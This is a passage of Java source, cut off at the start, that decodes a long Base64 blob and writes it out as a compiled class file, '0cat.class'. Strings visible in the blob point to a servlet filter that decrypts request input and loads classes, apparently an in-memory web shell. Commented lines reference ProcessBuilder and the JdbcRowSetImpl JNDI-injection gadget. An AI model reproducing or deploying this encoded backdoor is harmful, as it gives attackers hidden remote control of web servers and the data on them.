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";
File file = new File("0cat.class");
try (FileOutputStream fileOutputStream = new FileOutputStream(file)) {
fileOutputStream.write(Base64.getDecoder().decode(base));
} catch (IOException e) {
e.printStackTrace();
}
// ProcessBuilder processBuilder = null;
// processBuilder.command();
// processBuilder.start();
// JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
//// jdbcRowSet.setDataSourceName("");;
// jdbcRowSet.setAutoCommit(true);;
}
}
